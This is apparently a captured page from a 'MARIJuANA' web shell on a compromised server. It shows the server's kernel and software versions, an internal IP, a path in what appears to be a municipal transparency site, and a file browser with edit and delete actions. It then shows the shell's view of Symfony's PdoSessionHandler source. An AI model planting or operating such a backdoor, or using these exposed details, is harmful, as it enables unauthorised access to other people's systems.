MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/guajeru/transparencia/assets/ckfinder/core/connector/php/vendor/symfony/http-foundation/Session/Storage/Handler/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
  LegacyPdoSessionHandler.php 10.229 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  MemcacheSessionHandler.php 2.741 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  MemcachedSessionHandler.php 2.993 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  MongoDbSessionHandler.php 6.769 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  NativeFileSessionHandler.php 1.755 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  NativeSessionHandler.php 0.56 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  NullSessionHandler.php 1.235 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  PdoSessionHandler.php 32.216 KB -rw-r--r-- 2021-07-19 13:01 R E G D
  WriteCheckSessionHandler.php 1.998 KB -rw-r--r-- 2021-07-19 13:01 R E G D
REQUEST EXIT
* * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; /** * Session handler using a PDO connection to read and write data. * * It works with MySQL, PostgreSQL, Oracle, SQL Server and SQLite and implements * different locking strategies to handle concurrent access to the same session. * Locking is necessary to prevent loss of data due to race conditions and to keep * the session data consistent between read() and write(). With locking, requests * for the same session will wait until the other one finished writing. For this * reason it's best practice to close a session as early as possible to improve * concurrency. PHPs internal files session handler also implements locking. * * Attention: Since SQLite does not support row level locks but locks the whole database, * it means only one session can be accessed at a time. Even different sessions would wait * for another to finish. So saving session in SQLite should only be considered for * development or prototypes. * * Session data is a binary string that can contain non-printable characters like the null byte. * For this reason it must be saved in a binary column in the database like BLOB in MySQL. * Saving it in a character column could corrupt the data. You can use createTable() * to initialize a correctly defined table. * * @see http://php.net/sessionhandlerinterface * * @author Fabien Potencier * @author Michael Williams * @author Tobias Schultze */ class PdoSessionHandler implements \SessionHandlerInterface { /** * No locking is done. This means sessions are prone to loss of data due to * race conditions of concurrent requests to the same session. The last session * write will win in this case. It might be useful when you implement your own * logic to deal with this like an optimistic approach. */ const LOCK_NONE = 0; /** * Creates an application-level lock on a session. The disadvantage is that the * lock is not enforced by the database and thus other, unaware parts of the * application could still concurrently modify the session. The advantage is it * does not require a transaction. * This mode is not available for SQLite and not yet implemented for oci and sqlsrv. */ const LOCK_ADVISORY = 1; /** * Issues a real row lock. Since it uses a transaction between opening and * closing a session, you have to be careful when you use same database connection * that you also use for your application logic. This mode is the default because * it's the only reliable solution across DBMSs. */ const LOCK_TRANSACTIONAL = 2; /** * @var \PDO|null PDO instance or null when not connected yet */ private $pdo; /** * @var string|null|false DSN string or null for session.save_path or false when lazy connection disabled */ private $dsn = false; /** * @var string Database driver */ private $driver; /** * @var string Table name */ private $table = 'sessions'; /** * @var string Column for session id */ private $idCol = 'sess_id'; /** * @var string Column for session data */ private $dataCol = 'sess_data'; /** * @var string Column for lifetime */ private $lifetimeCol = 'sess_lifetime'; /** * @var string Column for timestamp */ private $timeCol = 'sess_time'; /** * @var string Username when lazy-connect */ private $username = ''; /** * @var string Password when lazy-connect */ private $password = ''; /** * @var array Connection options when lazy-connect */ private $connectionOptions = array(); /** * @var int The strategy for locking, see constants */ private $lockMode = self::LOCK_TRANSACTIONAL; /** * It's an array to support multiple reads before closing which is manual, non-standard usage. * * @var \PDOStatement[] An array of statements to release advisory locks */ private $unlockStatements = array(); /** * @var bool True when the current session exists but expired according to session.gc_maxlifetime */ private $sessionExpired = false; /** * @var bool Whether a transaction is active */ private $inTransaction = false; /** * @var bool Whether gc() has been called */ private $gcCalled = false; /** * You can either pass an existing database connection as PDO instance or * pass a DSN string that will be used to lazy-connect to the database * when the session is actually used. Furthermore it's possible to pass null * which will then use the session.save_path ini setting as PDO